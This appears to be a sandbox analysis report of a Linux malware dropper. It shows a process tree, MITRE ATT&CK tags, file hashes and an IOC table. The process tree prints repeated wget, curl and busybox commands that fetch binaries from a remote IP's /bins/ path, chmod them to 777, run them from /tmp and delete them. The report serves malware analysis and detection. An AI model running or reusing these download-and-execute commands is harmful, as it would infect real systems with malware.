- /usr/bin/wget
  wget http://216.126.231.240/bins/UUNIXgAMCvJgo0LQK9so1WmJaV6dO5nWfr
  2⤵
  PID:967
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/UUNIXgAMCvJgo0LQK9so1WmJaV6dO5nWfr
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:968
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/UUNIXgAMCvJgo0LQK9so1WmJaV6dO5nWfr
  2⤵
  PID:969
- /bin/chmod
  chmod 777 UUNIXgAMCvJgo0LQK9so1WmJaV6dO5nWfr
  2⤵
  - File and Directory Permissions Modification
  PID:970
- /tmp/UUNIXgAMCvJgo0LQK9so1WmJaV6dO5nWfr
  ./UUNIXgAMCvJgo0LQK9so1WmJaV6dO5nWfr
  2⤵
  - Executes dropped EXE
  PID:971
- /bin/rm
  rm UUNIXgAMCvJgo0LQK9so1WmJaV6dO5nWfr
  2⤵
  PID:972
- /usr/bin/wget
  wget http://216.126.231.240/bins/j10eAugc2q30mCExZaf4YdNB1zsY0v3czr
  2⤵
  PID:973
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/j10eAugc2q30mCExZaf4YdNB1zsY0v3czr
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:974
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/j10eAugc2q30mCExZaf4YdNB1zsY0v3czr
  2⤵
  PID:975
- /bin/chmod
  chmod 777 j10eAugc2q30mCExZaf4YdNB1zsY0v3czr
  2⤵
  - File and Directory Permissions Modification
  PID:976
- /tmp/j10eAugc2q30mCExZaf4YdNB1zsY0v3czr
  ./j10eAugc2q30mCExZaf4YdNB1zsY0v3czr
  2⤵
  - Executes dropped EXE
  PID:977
- /bin/rm
  rm j10eAugc2q30mCExZaf4YdNB1zsY0v3czr
  2⤵
  PID:978
- /usr/bin/wget
  wget http://216.126.231.240/bins/GQrgM3tmH9MxSzv1gDvp0itBCjTWdddZXC
  2⤵
  PID:979
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/GQrgM3tmH9MxSzv1gDvp0itBCjTWdddZXC
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:980
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/GQrgM3tmH9MxSzv1gDvp0itBCjTWdddZXC
  2⤵
  PID:981
- /bin/chmod
  chmod 777 GQrgM3tmH9MxSzv1gDvp0itBCjTWdddZXC
  2⤵
  - File and Directory Permissions Modification
  PID:982
- /tmp/GQrgM3tmH9MxSzv1gDvp0itBCjTWdddZXC
  ./GQrgM3tmH9MxSzv1gDvp0itBCjTWdddZXC
  2⤵
  - Executes dropped EXE
  PID:983
- /bin/rm
  rm GQrgM3tmH9MxSzv1gDvp0itBCjTWdddZXC
  2⤵
  PID:984
- /usr/bin/wget
  wget http://216.126.231.240/bins/lwqJrhQhJQDASP41VZhTfgpoQJGwiHggL8
  2⤵
  PID:985
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/lwqJrhQhJQDASP41VZhTfgpoQJGwiHggL8
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:986
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/lwqJrhQhJQDASP41VZhTfgpoQJGwiHggL8
  2⤵
  PID:987
- /bin/chmod
  chmod 777 lwqJrhQhJQDASP41VZhTfgpoQJGwiHggL8
  2⤵
  - File and Directory Permissions Modification
  PID:988
- /tmp/lwqJrhQhJQDASP41VZhTfgpoQJGwiHggL8
  ./lwqJrhQhJQDASP41VZhTfgpoQJGwiHggL8
  2⤵
  - Executes dropped EXE
  PID:989
- /bin/rm
  rm lwqJrhQhJQDASP41VZhTfgpoQJGwiHggL8
  2⤵
  PID:990

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

ACejr4BLngiLF11wIUmDcnuJLQ3eqzqw1t

Path /tmp/ACejr4BLngiLF11wIUmDcnuJLQ3eqzqw1t
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/ACejr4BLngiLF11wIUmDcnuJLQ3eqzqw1t	749	ACejr4BLngiLF11wIUmDcnuJLQ3eqzqw1t
/tmp/NlNEjLHlMB1K1UQUZcKKb570Ete9PdW8cB	755	NlNEjLHlMB1K1UQUZcKKb570Ete9PdW8cB
/tmp/8OivDRPC46l6KF80CNgJxl4rdVHfZIhFNm	771	8OivDRPC46l6KF80CNgJxl4rdVHfZIhFNm
/tmp/MvwW7yRmeZCT2u36twJxyy7sevKjfKulzl	795	MvwW7yRmeZCT2u36twJxyy7sevKjfKulzl
/tmp/eHcHJ3k2DSOo9ES1yGCc5kcMLb0bgc8ufk	818	eHcHJ3k2DSOo9ES1yGCc5kcMLb0bgc8ufk
/tmp/d7FLIp9wD9HXXgFh7gCIUMKruRHEWOdO45	824	d7FLIp9wD9HXXgFh7gCIUMKruRHEWOdO45
/tmp/tPBf60bXklvo8xWYhPzigvdwV5tA48VLcr	848	tPBf60bXklvo8xWYhPzigvdwV5tA48VLcr
/tmp/5gAsZv8p1M6lVhyjBIRnMJT0ycvLBuXpDs	869	5gAsZv8p1M6lVhyjBIRnMJT0ycvLBuXpDs
/tmp/wnOEje8ityT2vG4MIUGFqfSo89wklpvDQh	875	wnOEje8ityT2vG4MIUGFqfSo89wklpvDQh
/tmp/j10eAugc2q30mCExZaf4YdNB1zsY0v3czr	881	j10eAugc2q30mCExZaf4YdNB1zsY0v3czr
/tmp/4sy2Dgq1wLLOxLzowJA89gJJ55s3B9LYqb	887	4sy2Dgq1wLLOxLzowJA89gJJ55s3B9LYqb
/tmp/UUNIXgAMCvJgo0LQK9so1WmJaV6dO5nWfr	893	UUNIXgAMCvJgo0LQK9so1WmJaV6dO5nWfr
/tmp/lwqJrhQhJQDASP41VZhTfgpoQJGwiHggL8	899	lwqJrhQhJQDASP41VZhTfgpoQJGwiHggL8
/tmp/GQrgM3tmH9MxSzv1gDvp0itBCjTWdddZXC	905	GQrgM3tmH9MxSzv1gDvp0itBCjTWdddZXC
/tmp/NlNEjLHlMB1K1UQUZcKKb570Ete9PdW8cB	911	NlNEjLHlMB1K1UQUZcKKb570Ete9PdW8cB
/tmp/8OivDRPC46l6KF80CNgJxl4rdVHfZIhFNm	917	8OivDRPC46l6KF80CNgJxl4rdVHfZIhFNm
/tmp/MvwW7yRmeZCT2u36twJxyy7sevKjfKulzl	923	MvwW7yRmeZCT2u36twJxyy7sevKjfKulzl
/tmp/eHcHJ3k2DSOo9ES1yGCc5kcMLb0bgc8ufk	929	eHcHJ3k2DSOo9ES1yGCc5kcMLb0bgc8ufk
/tmp/ACejr4BLngiLF11wIUmDcnuJLQ3eqzqw1t	935	ACejr4BLngiLF11wIUmDcnuJLQ3eqzqw1t
/tmp/tPBf60bXklvo8xWYhPzigvdwV5tA48VLcr	941	tPBf60bXklvo8xWYhPzigvdwV5tA48VLcr
/tmp/5gAsZv8p1M6lVhyjBIRnMJT0ycvLBuXpDs	947	5gAsZv8p1M6lVhyjBIRnMJT0ycvLBuXpDs
/tmp/wnOEje8ityT2vG4MIUGFqfSo89wklpvDQh	953	wnOEje8ityT2vG4MIUGFqfSo89wklpvDQh
/tmp/d7FLIp9wD9HXXgFh7gCIUMKruRHEWOdO45	959	d7FLIp9wD9HXXgFh7gCIUMKruRHEWOdO45
/tmp/4sy2Dgq1wLLOxLzowJA89gJJ55s3B9LYqb	965	4sy2Dgq1wLLOxLzowJA89gJJ55s3B9LYqb
/tmp/UUNIXgAMCvJgo0LQK9so1WmJaV6dO5nWfr	971	UUNIXgAMCvJgo0LQK9so1WmJaV6dO5nWfr
/tmp/j10eAugc2q30mCExZaf4YdNB1zsY0v3czr	977	j10eAugc2q30mCExZaf4YdNB1zsY0v3czr
/tmp/GQrgM3tmH9MxSzv1gDvp0itBCjTWdddZXC	983	GQrgM3tmH9MxSzv1gDvp0itBCjTWdddZXC
/tmp/lwqJrhQhJQDASP41VZhTfgpoQJGwiHggL8	989	lwqJrhQhJQDASP41VZhTfgpoQJGwiHggL8